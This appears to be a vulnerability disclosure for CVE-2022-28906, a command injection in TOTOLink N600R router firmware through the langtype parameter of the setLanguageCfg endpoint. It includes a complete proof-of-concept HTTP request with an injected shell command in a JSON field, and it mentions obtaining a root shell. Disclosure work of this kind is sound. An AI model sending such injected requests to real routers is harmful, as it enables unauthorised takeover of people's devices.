Headline
CVE-2022-28906: IOT_vuln/TOTOLink/N600R/2 at main · EPhaha/IOT_vuln
TOTOLink N600R V5.3c.7159_B20190425 was discovered to contain a command injection vulnerability via the langtype parameter in /setting/setLanguageCfg.
TOTOlink N600R V5.3c.7159_B20190425 Command injection vulnerability****Overview
- Manufacturer’s website information:http://www.totolink.cn
- Firmware download address : http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36
1. Affected version
Figure 1 shows the latest firmware Ba of the router
Vulnerability details
The content obtained by the program through the langtype parameter is passed to V6, and then the matched content is formatted into V9 through the sprintf function, and V9 is brought into the cstesystem function
At this time, corresponding to the parameter A1, the function assigns A1 to the array of V9, and finally executes the command through the execv function. There is a command injection vulnerability
Recurring vulnerabilities and POC
In order to reproduce the vulnerability, the following steps can be followed:
Use the fat simulation firmware V5.3c.7159_B20190425
Attack with the following POC attacks
POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.0.1 Content-Length: 135 Accept: / X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.0.1 Referer: http://192.168.0.1/telnet.asp?timestamp=1647874864 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SESSION_ID=2:1647869489:2 Connection: close
{"topicurl":"setting/setLanguageCfg", "langType":"cn$(1s>/tmp/2.txt)" "operationMode": 0, "loginFlag": 0, "lanIp": "192.168.0.1", "wanConnStatus": "connected", "multiLangBt": "", "langFlag": 0, "helpBt": 1, "languageType": "cnnn", "helpUrl_": "", "productName": "N600R", "fmVersion": "V5.3c.7159", "webTitle": "", "copyRight": "", "autoLangBt": 0, "CSID": "CS160R"}
The reproduction results are as follows:
Figure 2 POC attack effect
Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell